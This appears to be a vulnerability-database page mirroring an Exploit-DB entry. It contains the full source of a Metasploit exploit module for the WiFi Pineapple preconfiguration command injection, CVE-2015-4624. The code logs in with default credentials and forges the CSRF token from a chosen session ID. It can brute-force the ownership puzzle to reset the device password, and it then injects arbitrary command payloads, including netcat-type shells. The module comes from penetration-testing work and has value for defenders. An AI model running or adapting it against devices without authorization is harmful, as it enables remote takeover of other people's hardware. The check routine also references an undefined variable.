Lucene search
K

Hak5 WiFi Pineapple 2.4 - Preconfiguration Command Injection (Metasploit)

🗓️ 20 Oct 2016 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 84 Views

Hak5 WiFi Pineapple Preconfiguration Command Injection. Exploits command injection vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4 using default credentials and anti-csrf weakness. It can enable a brute force solver for proof-of-ownership challenge

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Hak5 WiFi Pineapple Preconfiguration Command Injection 2
19 Oct 201600:00
zdt
Circl
CVE-2015-4624
20 Oct 201600:00
circl
CNVD
Hak5 WiFi Pineapple Pre-Configured Command Injection Vulnerability
5 Apr 201700:00
cnvd
CVE
CVE-2015-4624
31 Mar 201715:00
cve
Cvelist
CVE-2015-4624
31 Mar 201715:00
cvelist
Metasploit
Hak5 WiFi Pineapple Preconfiguration Command Injection
7 Sep 201600:22
metasploit
Metasploit
Hak5 WiFi Pineapple Preconfiguration Command Injection
7 Sep 201600:18
metasploit
NVD
CVE-2015-4624
31 Mar 201716:59
nvd
Packet Storm
WiFi Pineapple Predictable CSRF Token
12 Aug 201500:00
packetstorm
Packet Storm
Hak5 WiFi Pineapple Preconfiguration Command Injection 2
19 Oct 201600:00
packetstorm
Rows per page
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Hak5 WiFi Pineapple Preconfiguration Command Injection',
      'Description'    => %q{
      This module exploits a command injection vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4.
      We use a combination of default credentials with a weakness in the anti-csrf generation to achieve
      command injection on fresh pineapple devices prior to configuration. Additionally if default credentials fail,
      you can enable a brute force solver for the proof-of-ownership challenge. This will reset the password to a
      known password if successful and may interrupt the user experience. These devices may typically be identified
      by their SSID beacons of 'Pineapple5_....'; details derived from the TospoVirus, a WiFi Pineapple infecting
      worm.
      },
      'Author'         => ['catatonicprime'],
      'License'        => MSF_LICENSE,
      'References'     => [[ 'CVE', '2015-4624' ]],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        => {
        'Space'        => 2048,
        'DisableNops'  => true,
        'Compat'       => {
          'PayloadType'  => 'cmd',
          'RequiredCmd'  => 'generic python netcat telnet'
        }
      },
      'Targets'        => [[ 'WiFi Pineapple 2.0.0 - 2.3.0', {}]],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 1 2015'
    ))

    register_options(
      [
        OptString.new('USERNAME', [ true, 'The username to use for login', 'root' ]),
        OptString.new('PASSWORD', [ true, 'The password to use for login', 'pineapplesareyummy' ]),
        OptString.new('PHPSESSID', [ true, 'PHPSESSID to use for attack', 'tospovirus' ]),
        OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]),
        Opt::RPORT(1471),
        Opt::RHOST('172.16.42.1')
      ]
    )
    register_advanced_options(
      [
        OptBool.new('BruteForce', [ false, 'When true, attempts to solve LED puzzle after login failure', false ]),
        OptInt.new('BruteForceTries', [ false, 'Number of tries to solve LED puzzle, 0 -> infinite', 0 ])
      ]
    )

    deregister_options(
      'ContextInformationFile',
      'DOMAIN',
      'DigestAuthIIS',
      'EnableContextEncoding',
      'FingerprintCheck',
      'HttpClientTimeout',
      'NTLM::SendLM',
      'NTLM::SendNTLM',
      'NTLM::SendSPN',
      'NTLM::UseLMKey',
      'NTLM::UseNTLM2_session',
      'NTLM::UseNTLMv2',
      'SSL',
      'SSLVersion',
      'VERBOSE',
      'WORKSPACE',
      'WfsDelay',
      'Proxies',
      'VHOST'
    )
  end

  def login_uri
    normalize_uri('includes', 'api', 'login.php')
  end

  def brute_uri
    normalize_uri("/?action=verify_pineapple")
  end

  def set_password_uri
    normalize_uri("/?action=set_password")
  end

  def phpsessid
    datastore['PHPSESSID']
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def cookie
    "PHPSESSID=#{phpsessid}"
  end

  def csrf_token
    Digest::SHA1.hexdigest datastore['PHPSESSID']
  end

  def use_brute
    datastore['BruteForce']
  end

  def use_brute_tries
    datastore['BruteForceTries']
  end

  def login
    # Create a request to login with the specified credentials.
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => login_uri,
      'vars_post' => {
        'username'   => username,
        'password'   => password,
        'login'      => "" # Merely indicates to the pineapple that we'd like to login.
      },
      'headers'   => {
        'Cookie'     => cookie
      }
    )

    return nil unless res

    # Successful logins in preconfig pineapples include a 302 to redirect you to the "please config this device" pages
    return res if res.code == 302 && (res.body !~ /invalid username/)

    # Already logged in message in preconfig pineapples are 200 and "Invalid CSRF" - which also indicates a success
    return res if res.code == 200 && (res.body =~ /Invalid CSRF/)

    nil
  end

  def cmd_inject(cmd)
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => target_uri.path,
      'cookie'    => cookie,
      'vars_get'  => {
        'execute' => "" # Presence triggers command execution
      },
      'vars_post' => {
        '_csrfToken' => csrf_token,
        'commands'   => cmd
      }
    )

    res
  end

  def brute_force
    print_status('Beginning brute forcing...')
    # Attempt to get a new session cookie with an LED puzzle tied to it.
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => brute_uri
    )

    # Confirm the response indicates there is a puzzle to be solved.
    if !res || !(res.code == 200) || res.body !~ /own this pineapple/
      print_status('Brute forcing not available...')
      return nil
    end

    cookies = res.get_cookies
    counter = 0
    while use_brute_tries.zero? || counter < use_brute_tries
      print_status("Try #{counter}...") if (counter % 5).zero?
      counter += 1
      res = send_request_cgi(
        'method'    => 'POST',
        'uri'       => brute_uri,
        'cookie'    => cookies,
        'vars_post' => {
          'green'            => 'on',
          'amber'            => 'on',
          'blue'             => 'on',
          'red'              => 'on',
          'verify_pineapple' => 'Continue'
        }
      )

      if res && res.code == 200 && res.body =~ /set_password/
        print_status('Successfully solved puzzle!')
        return write_password(cookies)
      end
    end
    print_warning("Failed to brute force puzzle in #{counter} tries...")
    nil
  end

  def write_password(cookies)
    print_status("Attempting to set password to: #{password}")
    res = send_request_cgi(
      'method'     => 'POST',
      'uri'        => set_password_uri,
      'cookie'     => cookies,
      'vars_post'  => {
        'password'     => password,
        'password2'    => password,
        'eula'         => 1,
        'sw_license'   => 1,
        'set_password' => 'Set Password'
      }
    )
    if res && res.code == 200 && res.body =~ /success/
      print_status('Successfully set password!')
      return res
    end
    print_warning('Failed to set password')

    nil
  end

  def check
    loggedin = login
    unless loggedin
      brutecheck = send_request_cgi(
        'method' => 'GET',
        'uri'    => brute_uri
      )
      return Exploit::CheckCode::Safe if !brutecheck || !brutecheck.code == 200 || brutecheck.body !~ /own this pineapple/
      return Exploit::CheckCode::Vulnerable
    end

    cmd_success = cmd_inject("echo")
    return Exploit::CheckCode::Vulnerable if cmd_success && cmdSuccess.code == 200 && cmd_success.body =~ /Executing/

    Exploit::CheckCode::Safe
  end

  def exploit
    print_status('Logging in with credentials...')
    loggedin = login
    if !loggedin && use_brute
      brute_force
      loggedin = login
    end
    unless loggedin
      fail_with(Failure::NoAccess, "Failed to login PHPSESSID #{phpsessid} with #{username}:#{password}")
    end

    print_status('Executing payload...')
    cmd_inject("#{payload.encoded}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Oct 2016 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 24.3
CVSS 37.5
EPSS0.4762
84